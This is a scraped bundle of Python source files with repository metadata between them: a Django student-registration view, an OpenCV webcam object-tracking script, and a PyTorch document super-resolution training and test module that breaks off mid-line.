from django.shortcuts import render from django.http import HttpResponseRedirect from django.urls import reverse_lazy from django.views.generic import ListView,CreateView,UpdateView from apps.estudiantes.models import Estudiante from django.contrib.auth.models import User from apps.estudiantes.forms import EstudianteForm, RegistroForm, UpdateRegsForm, UpdateEstudenFrom from django.contrib.auth.views import LoginView class Login(LoginView): success_url = reverse_lazy("conferencia:index") class CrearUsuario(CreateView): model = Estudiante template_name = 'estudiantes/Estudiante_form2.html' form_class = EstudianteForm second_form_class = RegistroForm success_url = reverse_lazy("login") def get_context_data(self, **kwargs): context = super(CrearUsuario,self).get_context_data(**kwargs) if 'form' not in context: context['form'] = self.form_class(self.request.GET) if 'form2' not in context: context['form2'] = self.second_form_class(self.request.GET) return context def post(self, request, *args, **kwargs): self.object = self.get_object form = self.form_class(self.request.POST) form2 = self.second_form_class(self.request.POST) if form.is_valid() and form2.is_valid(): estudiante = form.save(commit=False) estudiante.user = form2.save() estudiante.save() return HttpResponseRedirect(self.get_success_url()) else: return self.render_to_response(self.get_context_data(form=form,form2=form2)) class UpdateUsuario(UpdateView): model = User second_model = Estudiante template_name = 'estudiantes/Estudiante_form.html' form_class = UpdateRegsForm second_form_class = UpdateEstudenFrom success_url = reverse_lazy("conferencia:index") def get_context_data(self, **kwargs): context = super(UpdateUsuario,self).get_context_data(**kwargs) pk = self.kwargs.get('pk',0) user = self.request.user estudiante = self.second_model.objects.get(user = user) if 'form' not in context: context['form'] = self.form_class() if 'form2' not in context: context['form2'] = self.second_form_class(instance= estudiante) return context def post(self,request,*args,**kwargs): self.object = self.get_object NUA = kwargs['pk'] user = self.request.user estudiante = self.second_model.objects.get(user = user) form = self.form_class(request.POST,instance=user) form2 = self.second_form_class(request.POST,instance=estudiante) if form.is_valid() and form2.is_valid(): form.save() form2.save() return HttpResponseRedirect(self.get_success_url())

true

f7f36c0f781e6349690c5255e702772204194bec

2,050

py

Python

misc/tracking.py

ryuji0123/hoby

9737e032795d32b78891bf294ff739eaf8b50075

[ "MIT" ]

null

misc/tracking.py

ryuji0123/hoby

9737e032795d32b78891bf294ff739eaf8b50075

[ "MIT" ]

null

misc/tracking.py

ryuji0123/hoby

9737e032795d32b78891bf294ff739eaf8b50075

[ "MIT" ]

null

import cv2 from multiprocessing import Process, Pool from env import * def updateTracker(trackers, frame): for t in trackers: track, bbox = t.update(frame) if track: p1 = (int(bbox[0]), int(bbox[1])) p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3])) cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1) else: cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA) if __name__ == '__main__': #tracker = cv2.TrackerKCF_create() cap = cv2.VideoCapture(DEVICE_ID) trackers = [cv2.TrackerKCF_create() for _ in range(2)] while True: end_flag, c_frame = cap.read() c_frame = cv2.resize(c_frame,(600, 600)) if not end_flag: continue bbox = (0, 0, 10, 10) for idx in range(len(trackers)): bbox = cv2.selectROI(c_frame, False) ok = trackers[idx].init(c_frame, bbox) cv2.destroyAllWindows() break while True: end_flag, frame = cap.read() frame = cv2.resize(frame,(600, 600)) if not end_flag: continue timer = cv2.getTickCount() #p = Process(target=updateTracker, args=(trackers, frame)) #p.start() #p.join() for idx, t in enumerate(trackers): track, bbox = t.update(frame) if track: p1 = (int(bbox[0]), int(bbox[1])) p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3])) cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1) else: cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA) fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer) cv2.putText(frame, "FPS: " + str(int(fps)), (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA) cv2.imshow("Tracking", frame) k = cv2.waitKey(1) if k == 27: break cap.release() cv2.destroyAllWindows()

35.344828

121

0.551707

import cv2 from multiprocessing import Process, Pool from env import * def updateTracker(trackers, frame): for t in trackers: track, bbox = t.update(frame) if track: p1 = (int(bbox[0]), int(bbox[1])) p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3])) cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1) else: cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA) if __name__ == '__main__': cap = cv2.VideoCapture(DEVICE_ID) trackers = [cv2.TrackerKCF_create() for _ in range(2)] while True: end_flag, c_frame = cap.read() c_frame = cv2.resize(c_frame,(600, 600)) if not end_flag: continue bbox = (0, 0, 10, 10) for idx in range(len(trackers)): bbox = cv2.selectROI(c_frame, False) ok = trackers[idx].init(c_frame, bbox) cv2.destroyAllWindows() break while True: end_flag, frame = cap.read() frame = cv2.resize(frame,(600, 600)) if not end_flag: continue timer = cv2.getTickCount() for idx, t in enumerate(trackers): track, bbox = t.update(frame) if track: p1 = (int(bbox[0]), int(bbox[1])) p2 = (int(bbox[0]) + int(bbox[2]), int(bbox[1]) + int(bbox[3])) cv2.rectangle(frame, p1, p2, (0, 255, 0), 2, 1) else: cv2.putText(frame, "Failure", (10, 50), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA) fps = cv2.getTickFrequency() / (cv2.getTickCount() - timer) cv2.putText(frame, "FPS: " + str(int(fps)), (10, 20), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 1, cv2.LINE_AA) cv2.imshow("Tracking", frame) k = cv2.waitKey(1) if k == 27: break cap.release() cv2.destroyAllWindows()

true

f7f36c85963324e7ce5b937cc2607ad92e24f172

34,529

py

Python

model/super_resolution_model/DocumentSRModel/models/srunitnet_2x_2x.py

JinGyeSetBirdsFree/FudanOCR

e6b18b0eefaf832b2eb7198f5df79e00bd4cee36

[ "MIT" ]

25

2020-02-29T12:14:10.000Z

2020-04-24T07:56:06.000Z

model/super_resolution_model/DocumentSRModel/models/srunitnet_2x_2x.py

dun933/FudanOCR

fd79b679044ea23fd9eb30691453ed0805d2e98b

[ "MIT" ]

33

2020-12-10T19:15:39.000Z

2022-03-12T00:17:30.000Z

model/super_resolution_model/DocumentSRModel/models/srunitnet_2x_2x.py

dun933/FudanOCR

fd79b679044ea23fd9eb30691453ed0805d2e98b

[ "MIT" ]

4

2020-02-29T12:14:18.000Z

2020-04-12T12:26:50.000Z

import numpy as np from scipy.misc import imsave import os import torch import torch.nn as nn import torch.optim as optim import torch.nn.init as init import torch.nn.functional as F import torchvision from torchvision import models from torch.autograd import Variable from torch.utils.data import DataLoader import torchvision.transforms as Transforms from dataloader import TrainDataset, DevDataset, TestDataset from networks.unet import UNet, unet_weight_init from networks.hed import HED, HED_1L, hed_weight_init from networks.resnet import ResnetGenerator, Upscale4xResnetGenerator, Upscale2xResnetGenerator from networks.resnet_wdsr import WDSRResnetGenerator from networks.discriminators import NLayerDiscriminator from networks.vggfeature import VGGFeatureMap from utils.visualizer import Visualizer from utils.loss import BCE2d from utils.normalize import norm, denorm, weights_init_normal from utils.target import PSNR, SSIM, batch_compare_filter, batch_SSIM USE_GPU = torch.cuda.is_available() NORM = 'batch' from scipy.misc import imsave def save_img(img, save_fn=''): if not os.path.exists(os.path.split(save_fn)[0]): os.makedirs(os.path.split(save_fn)[0]) if list(img.shape)[0] == 3: # save_image = img * 125.0 save_image = img save_image = save_image.clamp(0, 1).numpy().transpose(1, 2, 0) else: save_image = img.squeeze().clamp(0, 1).numpy().transpose(1, 2, 0) imsave(save_fn, save_image) class Model(object): def __init__(self, cfg): # parameter init self.env = cfg.env self.train_dataset = cfg.train_dataset self.valid_dataset = cfg.valid_dataset self.test_dataset = cfg.test_dataset self.data_dir = cfg.data_dir self.save_dir = cfg.save_dir self.num_threads = int(cfg.num_threads) self.num_epochs = int(cfg.num_epochs) self.save_epochs = int(cfg.save_epochs) self.pretrain_epochs = int(cfg.pretrain_epochs) self.batch_size = int(cfg.batch_size) self.valid_batch_size = int(cfg.valid_batch_size) self.test_batch_size = int(cfg.test_batch_size) self.plot_iter = int(cfg.plot_iter) self.crop_size = int(cfg.crop_size) self.scale_factor = int(cfg.scale_factor) self.lr = float(cfg.lr) def load_dataset(self, mode='train', random_scale=True, rotate=True, fliplr=True, fliptb=True): if mode == 'train': train_set = TrainDataset(os.path.join(self.data_dir, self.train_dataset), crop_size=self.crop_size, scale_factor=self.scale_factor, random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb) return DataLoader(dataset=train_set, num_workers=self.num_threads, batch_size=self.batch_size, shuffle=True) elif mode == 'valid': valid_set = DevDataset(os.path.join( self.data_dir, self.valid_dataset)) return DataLoader(dataset=valid_set, num_workers=self.num_threads, batch_size=self.valid_batch_size, shuffle=True) elif mode == 'test': test_set = TestDataset(os.path.join( self.data_dir, self.test_dataset)) return DataLoader(dataset=test_set, num_workers=self.num_threads, batch_size=self.test_batch_size, shuffle=False) def train(self, edgenetpath=None, sr2x1_path=None, sr2x2_path=None, srcnn_path=None, srresnet_path=None, is_fine_tune=False, random_scale=True, rotate=True, fliplr=True, fliptb=True): vis = Visualizer(self.env) print('================ Loading datasets =================') # load training dataset print('## Current Mode: Train') # train_data_loader = self.load_dataset(mode='valid') train_data_loader = self.load_dataset( mode='train', random_scale=random_scale, rotate=rotate, fliplr=fliplr, fliptb=fliptb) ########################################################## ##################### build network ###################### ########################################################## print('Building Networks and initialize parameters\' weights....') # init sr resnet # srresnet2x1 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, # norm=NORM, activation='prelu', learn_residual=True) # srresnet2x2 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, # norm=NORM, activation='prelu',learn_residual=True) srresnet2x1 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5) srresnet2x2 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5) srresnet2x1.apply(weights_init_normal) srresnet2x2.apply(weights_init_normal) # init discriminator discnet = NLayerDiscriminator(input_nc=3, ndf=64, n_layers=5) # init edgenet edgenet = HED_1L() if edgenetpath is None or not os.path.exists(edgenetpath): raise Exception('Invalid edgenet model') else: pretrained_dict = torch.load(edgenetpath) model_dict = edgenet.state_dict() pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict} model_dict.update(pretrained_dict) edgenet.load_state_dict(model_dict) # init vgg feature featuremapping = VGGFeatureMap(models.vgg19(pretrained=True)) # load pretrained srresnet or just initialize if sr2x1_path is None or not os.path.exists(sr2x1_path): print('===> initialize the srresnet2x1') print('======> No pretrained model') else: print('======> loading the weight from pretrained model') pretrained_dict = torch.load(sr2x1_path) model_dict = srresnet2x1.state_dict() pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict} model_dict.update(pretrained_dict) srresnet2x1.load_state_dict(model_dict) if sr2x2_path is None or not os.path.exists(sr2x2_path): print('===> initialize the srresnet2x2') print('======> No pretrained model') else: print('======> loading the weight from pretrained model') pretrained_dict = torch.load(sr2x2_path) model_dict = srresnet2x2.state_dict() pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict} model_dict.update(pretrained_dict) srresnet2x2.load_state_dict(model_dict) # optimizer init # different learning rate lr = self.lr srresnet2x1_optimizer = optim.Adam( srresnet2x1.parameters(), lr=lr, betas=(0.9, 0.999)) srresnet2x2_optimizer = optim.Adam( srresnet2x2.parameters(), lr=lr, betas=(0.9, 0.999)) disc_optimizer = optim.Adam( discnet.parameters(), lr=lr/10, betas=(0.9, 0.999)) # loss function init MSE_loss = nn.MSELoss() BCE_loss = nn.BCELoss() # cuda accelerate if USE_GPU: edgenet.cuda() srresnet2x1.cuda() srresnet2x2.cuda() discnet.cuda() featuremapping.cuda() MSE_loss.cuda() BCE_loss.cuda() print('\tCUDA acceleration is available.') ########################################################## ##################### train network ###################### ########################################################## import torchnet as tnt from tqdm import tqdm from PIL import Image # batchnorm = nn.BatchNorm2d(1).cuda() edge_avg_loss = tnt.meter.AverageValueMeter() total_avg_loss = tnt.meter.AverageValueMeter() disc_avg_loss = tnt.meter.AverageValueMeter() # psnr_2x_avg = tnt.meter.AverageValueMeter() # ssim_2x_avg = tnt.meter.AverageValueMeter() # psnr_4x_avg = tnt.meter.AverageValueMeter() # ssim_4x_avg = tnt.meter.AverageValueMeter() srresnet2x1.train() srresnet2x2.train() discnet.train() itcnt = 0 for epoch in range(self.num_epochs): edge_avg_loss.reset() total_avg_loss.reset() disc_avg_loss.reset() # psnr_2x_avg.reset() # ssim_2x_avg.reset() # psnr_4x_avg.reset() # ssim_4x_avg.reset() # learning rate is decayed by a factor every 20 epoch if (epoch + 1) % 5 == 0: for param_group in srresnet2x1_optimizer.param_groups: param_group["lr"] *= 0.5 print("Learning rate decay for srresnet2x1: lr={}".format( srresnet2x1_optimizer.param_groups[0]["lr"])) for param_group in srresnet2x2_optimizer.param_groups: param_group["lr"] *= 0.5 print("Learning rate decay for srresnet2x2: lr={}".format( srresnet2x2_optimizer.param_groups[0]["lr"])) for param_group in disc_optimizer.param_groups: param_group["lr"] *= 0.5 print("Learning rate decay for discnet: lr={}".format( disc_optimizer.param_groups[0]["lr"])) itbar = tqdm(enumerate(train_data_loader)) for ii, (hr, lr2x, lr4x, bc2x, bc4x) in itbar: mini_batch = hr.size()[0] hr_ = Variable(hr) lr2x_ = Variable(lr2x) lr4x_ = Variable(lr4x) bc2x_ = Variable(bc2x) bc4x_ = Variable(bc4x) real_label = Variable(torch.ones(mini_batch)) fake_label = Variable(torch.zeros(mini_batch)) # cuda mode setting if USE_GPU: hr_ = hr_.cuda() lr2x_ = lr2x_.cuda() lr4x_ = lr4x_.cuda() bc2x_ = bc2x_.cuda() bc4x_ = bc4x_.cuda() real_label = real_label.cuda() fake_label = fake_label.cuda() # =============================================================== # # ================ Edge-based srresnet training ================= # # =============================================================== # sr2x_ = srresnet2x1(lr4x_) sr4x_ = srresnet2x2(lr2x_) '''===================== Train Discriminator =====================''' if epoch + 1 > self.pretrain_epochs: disc_optimizer.zero_grad() #===== 2x disc loss =====# real_decision_2x = discnet(lr2x_) real_loss_2x = BCE_loss( real_decision_2x, real_label.detach()) fake_decision_2x = discnet(sr2x_.detach()) fake_loss_2x = BCE_loss( fake_decision_2x, fake_label.detach()) disc_loss_2x = real_loss_2x + fake_loss_2x disc_loss_2x.backward() disc_optimizer.step() #===== 4x disc loss =====# real_decision_4x = discnet(hr_) real_loss_4x = BCE_loss( real_decision_4x, real_label.detach()) fake_decision_4x = discnet(sr4x_.detach()) fake_loss_4x = BCE_loss( fake_decision_4x, fake_label.detach()) disc_loss_4x = real_loss_4x + fake_loss_4x disc_loss_4x.backward() disc_optimizer.step() disc_avg_loss.add( (disc_loss_2x + disc_loss_4x).data.item()) '''=================== Train srresnet Generator ===================''' edge_trade_off = [0.7, 0.2, 0.1, 0.05, 0.01, 0.3] if epoch + 1 > self.pretrain_epochs: a1, a2, a3 = 0.75, 0.1, 0.65 else: a1, a2, a3 = 0.75, 0.0, 0.7 if not is_fine_tune: #============ calculate 2x loss ==============# srresnet2x1_optimizer.zero_grad() #### Edgenet Loss #### pred = edgenet(sr2x_) real = edgenet(lr2x_) edge_loss_2x = BCE_loss(pred.detach(), real.detach()) # for i in range(6): # edge_loss_2x += edge_trade_off[i] * \ # BCE_loss(pred[i].detach(), real[i].detach()) # edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i]) #### Content Loss #### content_loss_2x = MSE_loss(sr2x_, lr2x_) #+ 0.1*BCE_loss(1-sr2x_, 1-lr2x_) #### Perceptual Loss #### real_feature = featuremapping(lr2x_) fake_feature = featuremapping(sr2x_) vgg_loss_2x = MSE_loss(fake_feature, real_feature.detach()) #### Adversarial Loss #### advs_loss_2x = BCE_loss(discnet(sr2x_), real_label) if epoch + 1 > self.pretrain_epochs else 0 # advs_loss_2x = 0 #============== loss backward ===============# total_loss_2x = a1 * edge_loss_2x + a2 * advs_loss_2x + \ a3 * content_loss_2x + (1.0 - a3) * vgg_loss_2x # total_loss_2x = 1.0 * content_loss_2x + 0.25 * vgg_loss_2x total_loss_2x.backward() srresnet2x1_optimizer.step() #============ calculate scores ==============# # psnr_2x_score_process = batch_compare_filter( # sr2x_.cpu().data, lr2x, PSNR) # psnr_2x_avg.add(psnr_2x_score_process) # ssim_2x_score_process = batch_compare_filter( # sr2x_.cpu().data, lr2x, SSIM) # ssim_2x_avg.add(ssim_2x_score_process) #============ calculate 4x loss ==============# if is_fine_tune: sr4x_ = srresnet2x2(srresnet2x1(lr4x_)) srresnet2x2_optimizer.zero_grad() #### Edgenet Loss #### pred = edgenet(sr4x_) real = edgenet(hr_) # edge_loss_4x = 0 edge_loss_4x = BCE_loss(pred.detach(), real.detach()) # for i in range(6): # edge_loss_4x += edge_trade_off[i] * \ # BCE_loss(pred[i].detach(), real[i].detach()) # edge_loss = 0.7 * BCE2d(pred[0], real[i]) + 0.3 * BCE2d(pred[5], real[i]) #### Content Loss #### content_loss_4x = MSE_loss(sr4x_, hr_) #+ 0.1*BCE_loss(1-sr4x_, 1-hr_) #### Perceptual Loss #### real_feature = featuremapping(hr_) fake_feature = featuremapping(sr4x_) vgg_loss_4x = MSE_loss(fake_feature, real_feature.detach()) #### Adversarial Loss #### advs_loss_4x = BCE_loss(discnet(sr4x_), real_label) if epoch + 1 > self.pretrain_epochs else 0 # advs_loss_4x = 0 #============== loss backward ===============# total_loss_4x = a1 * edge_loss_4x + a2 * advs_loss_4x + \ a3 * content_loss_4x + (1.0 - a3) * vgg_loss_4x # total_loss_4x = 1.0 * content_loss_4x + 0.25 * vgg_loss_4x total_loss_4x.backward() srresnet2x2_optimizer.step() #============ calculate scores ==============# # psnr_4x_score_process = batch_compare_filter( # sr4x_.cpu().data, hr, PSNR) # psnr_4x_avg.add(psnr_4x_score_process) # ssim_4x_score_process = batch_compare_filter( # sr4x_.cpu().data, hr, SSIM) # ssim_4x_avg.add(ssim_4x_score_process) if is_fine_tune: total_avg_loss.add(total_loss_4x.data.item()) edge_avg_loss.add(edge_loss_4x.data.item()) else: total_avg_loss.add((total_loss_2x+total_loss_4x).data.item()) edge_avg_loss.add((edge_loss_2x+edge_loss_4x).data.item()) if epoch + 1 > self.pretrain_epochs: disc_avg_loss.add((advs_loss_2x+advs_loss_4x).data.item()) if (ii+1) % self.plot_iter == self.plot_iter-1: res = {'edge loss': edge_avg_loss.value()[0], 'generate loss': total_avg_loss.value()[0], 'discriminate loss': disc_avg_loss.value()[0]} vis.plot_many(res, 'Deblur net Loss') # psnr_2x_score_origin = batch_compare_filter( # bc2x, lr2x, PSNR) # psnr_4x_score_origin = batch_compare_filter(bc4x, hr, PSNR) # res_psnr = {'2x_origin_psnr': psnr_2x_score_origin, # '2x_sr_psnr': psnr_2x_score_process, # '4x_origin_psnr': psnr_4x_score_origin, # '4x_sr_psnr': psnr_4x_score_process} # vis.plot_many(res_psnr, 'PSNR Score') # ssim_2x_score_origin = batch_compare_filter( # bc2x, lr2x, SSIM) # ssim_4x_score_origin = batch_compare_filter(bc4x, hr, SSIM) # res_ssim = {'2x_origin_ssim': ssim_2x_score_origin, # '2x_sr_ssim': ssim_2x_score_process, # '4x_origin_ssim': ssim_4x_score_origin, # '4x_sr_ssim': ssim_4x_score_process} # vis.plot_many(res_ssim, 'SSIM Score') #======================= Output result of total training processing =======================# itcnt += 1 # itbar.set_description("Epoch: [%2d] [%d/%d] PSNR_2x_Avg: %.6f, SSIM_2x_Avg: %.6f, PSNR_4x_Avg: %.6f, SSIM_4x_Avg: %.6f" # % ((epoch + 1), (ii + 1), len(train_data_loader), # psnr_2x_avg.value()[0], ssim_2x_avg.value()[ # 0], # psnr_4x_avg.value()[0], ssim_4x_avg.value()[0])) itbar.set_description("Epoch: [%2d] [%d/%d]" % ((epoch + 1), (ii + 1), len(train_data_loader))) if (ii+1) % self.plot_iter == self.plot_iter-1: # test_ = deblurnet(torch.cat([y_.detach(), x_edge], 1)) hr_edge = edgenet(hr_) sr2x_edge = edgenet(sr2x_) sr4x_edge = edgenet(sr4x_) vis.images(hr_edge.cpu().data, win='HR edge predict', opts=dict( title='HR edge predict')) vis.images(sr2x_edge.cpu().data, win='SR2X edge predict', opts=dict( title='SR2X edge predict')) vis.images(sr4x_edge.cpu().data, win='SR4X edge predict', opts=dict( title='SR4X edge predict')) vis.images(lr2x, win='LR2X image', opts=dict(title='LR2X image')) vis.images(lr4x, win='LR4X image', opts=dict(title='LR4X image')) vis.images(bc2x, win='BC2X image', opts=dict(title='BC2X image')) vis.images(bc4x, win='BC4X image', opts=dict(title='BC4X image')) vis.images(sr2x_.cpu().data, win='SR2X image', opts=dict(title='SR2X image')) vis.images(sr4x_.cpu().data, win='SR4X image', opts=dict(title='SR4X image')) vis.images(hr, win='HR image', opts=dict(title='HR image')) t_save_dir = 'results/train_result/'+self.train_dataset if not os.path.exists(t_save_dir): os.makedirs(t_save_dir) if (epoch + 1) % self.save_epochs == 0 and (ii+1) % 200 == 0: self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) if (epoch + 1) % self.save_epochs == 0: self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, epoch+1)) # Save final trained model and results vis.save([self.env]) self.save_model(srresnet2x1, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x1_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, self.num_epochs)) self.save_model(srresnet2x2, os.path.join(self.save_dir, 'checkpoints', 'srunitnet'), 'srnet2x2_param_batch{}_lr{}_epoch{}'. format(self.batch_size, self.lr, self.num_epochs)) def test(self, sr2x1_path=None, sr2x2_path=None): test_data_dir = os.path.join(self.data_dir, self.test_dataset) result_data_dir = os.path.join(self.save_dir, "test_results", "2x2UnitNet_SR_"+self.test_dataset) if not os.path.exists(result_data_dir): os.makedirs(result_data_dir) # judge whether model exists if not os.path.exists(sr2x1_path): raise Exception('sr2x1 resnet model not exists') if not os.path.exists(sr2x2_path): raise Exception('sr2x2 resnet model not exists') # load network params # srresnet2x1 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, # norm=NORM, activation='prelu', learn_residual=True) # srresnet2x2 = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, # norm=NORM, activation='prelu', learn_residual=True) srresnet2x1 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5) srresnet2x2 = WDSRResnetGenerator(input_nc=3, output_nc=3, n_blocks=5) srresnet2x1.load_state_dict(torch.load(sr2x1_path)) srresnet2x2.load_state_dict(torch.load(sr2x2_path)) if USE_GPU: srresnet2x1.cuda() srresnet2x2.cuda() import torchnet as tnt from tqdm import tqdm from PIL import Image import time psnr_4x_avg = tnt.meter.AverageValueMeter() ssim_4x_avg = tnt.meter.AverageValueMeter() time_avg = tnt.meter.AverageValueMeter() srresnet2x1.eval() srresnet2x2.eval() # processing test data iterbar = tqdm(os.listdir(test_data_dir)) import cv2 import numpy as np for img_name in iterbar: try: img = cv2.imread(os.path.join(test_data_dir, img_name), cv2.IMREAD_COLOR) img = cv2.resize(img, None, None, 0.5, 0.5, interpolation=cv2.INTER_AREA) h, w, c = img.shape[0], img.shape[1], img.shape[2] w_lr4x, h_lr4x = int( w // self.scale_factor), int(h // self.scale_factor) w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2 w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor w_num, h_num = w // self.crop_size, h // self.crop_size w_num += 1 if w % self.crop_size != 0 else 0 h_num += 1 if h % self.crop_size != 0 else 0 res = np.zeros((h*2, w*2, c), dtype=np.uint8) for i in range(w_num): l = i * self.crop_size l_new = l * 2 r = min(l+self.crop_size, w) r_new = w * 2 if r == w else l_new + self.crop_size * 2 for j in range(h_num): t = j * self.crop_size t_new = t * 2 b = min(t+self.crop_size, h) b_new = h * 2 if b == h else t_new + self.crop_size * 2 lr = img[t:b, l:r] lr = Transforms.ToTensor()(lr).unsqueeze(0) if USE_GPU: lr = lr.cuda() sr = srresnet2x1(lr).squeeze() res_sr = sr.cpu().data.clamp(0, 1).numpy().transpose(1, 2, 0)*255 res[t_new:b_new, l_new:r_new] = res_sr cv2.imwrite(os.path.join(result_data_dir, img_name), res) except IOError: pass finally: pass # for img_name in iterbar: # try: # img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB") # transform = Transforms.RandomCrop(self.crop_size) # img = transform(img) # w, h = img.size[0], img.size[1] # w_lr4x, h_lr4x = int( # w // self.scale_factor), int(h // self.scale_factor) # w_lr2x, h_lr2x = w_lr4x * 2, h_lr4x * 2 # # w_hr, h_hr = w_lr4x * self.scale_factor, h_lr4x * self.scale_factor # # transform tensor # # hr = img.resize((w_hr, h_hr), Image.ANTIALIAS) # # lr2x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS) # lr4x = img.resize((w_lr4x, h_lr4x), Image.ANTIALIAS) # lr4x = img.resize((w_lr2x, h_lr2x), Image.ANTIALIAS) # # hr_ = Transforms.ToTensor()(hr).unsqueeze(0) # # lr2x_ = Transforms.ToTensor()(lr2x).unsqueeze(0) # lr4x_ = Transforms.ToTensor()(lr4x).unsqueeze(0) # if USE_GPU: # # hr_ = hr_.cuda() # # lr2x_ = lr2x_.cuda() # lr4x_ = lr4x_.cuda() # torch.cuda.synchronize() # start = time.time() # sr4x_ = srresnet2x2(srresnet2x1(lr4x_)) # # sr4x_ = srresnet2x1(lr4x_) # torch.cuda.synchronize() # end = time.time() # time_avg.add(end-start) # except IOError: # pass # finally: # pass # # calculate PSNR & SSIM # psnr_4x_score = batch_compare_filter( # sr4x_.cpu().data, hr_, PSNR) # ssim_4x_score = batch_compare_filter( # sr4x_.cpu().data, hr_, SSIM) # psnr_4x_avg.add(psnr_4x_score) # ssim_4x_avg.add(ssim_4x_score) # # save image # save_img(sr4x_.cpu().data, os.path.join(result_data_dir, img_name)) print(time_avg.value()[0]) print("final PSNR score: {}".format(psnr_4x_avg.value()[0])) print("final SSIM score: {}".format(ssim_4x_avg.value()[0])) def test_t(self, sr2x1_1_path=None, sr2x2_1_path=None, sr2x1_2_path=None, sr2x2_2_path=None): test_data_dir = os.path.join(self.data_dir, self.test_dataset) sr_edge_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_Edge_SR_"+self.test_dataset) if not os.path.exists(sr_edge_dir): os.makedirs(sr_edge_dir) sr_none_dir = os.path.join(self.save_dir, "show_results", "2x2UnitNet_none_SR_"+self.test_dataset) if not os.path.exists(sr_none_dir): os.makedirs(sr_none_dir) bc_dir = os.path.join(self.save_dir, "show_results", "Bicubic_SR_"+self.test_dataset) if not os.path.exists(bc_dir): os.makedirs(bc_dir) hr_dir = os.path.join(self.save_dir, "show_results", "HR_"+self.test_dataset) if not os.path.exists(hr_dir): os.makedirs(hr_dir) lr_dir = os.path.join(self.save_dir, "show_results", "LR_"+self.test_dataset) if not os.path.exists(lr_dir): os.makedirs(lr_dir) # judge whether model exists if not os.path.exists(sr2x1_1_path): raise Exception('sr2x1 resnet model not exists') if not os.path.exists(sr2x2_1_path): raise Exception('sr2x2 resnet model not exists') if not os.path.exists(sr2x1_2_path): raise Exception('sr2x1 resnet model not exists') if not os.path.exists(sr2x2_2_path): raise Exception('sr2x2 resnet model not exists') # load network params srresnet2x1_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x2_edge = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x1_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x2_none = Upscale2xResnetGenerator(input_nc=3, output_nc=3, n_blocks=5, norm=NORM, activation='prelu', learn_residual=True) srresnet2x1_edge.load_state_dict(torch.load(sr2x1_1_path)) srresnet2x2_edge.load_state_dict(torch.load(sr2x2_1_path)) srresnet2x1_none.load_state_dict(torch.load(sr2x1_2_path)) srresnet2x2_none.load_state_dict(torch.load(sr2x2_2_path)) if USE_GPU: srresnet2x1_edge.cuda() srresnet2x2_edge.cuda() srresnet2x1_none.cuda() srresnet2x2_none.cuda() import torchnet as tnt from tqdm import tqdm from PIL import Image psnr_edge_4x_avg = tnt.meter.AverageValueMeter() ssim_edge_4x_avg = tnt.meter.AverageValueMeter() psnr_none_4x_avg = tnt.meter.AverageValueMeter() ssim_none_4x_avg = tnt.meter.AverageValueMeter() # srresnet2x1_edge.eval() # srresnet2x2_edge.eval() # srresnet2x1_none.eval() # srresnet2x2_none.eval() # processing test data iterbar = tqdm(os.listdir(test_data_dir)) for img_name in iterbar: img = Image.open(os.path.join(test_data_dir, img_name)).convert("RGB") transform = Transforms.RandomCrop(self.crop_size) img = transform(img) w, h = img.size[0], img.size[1] w_lr4x, h_lr4x = int( w // 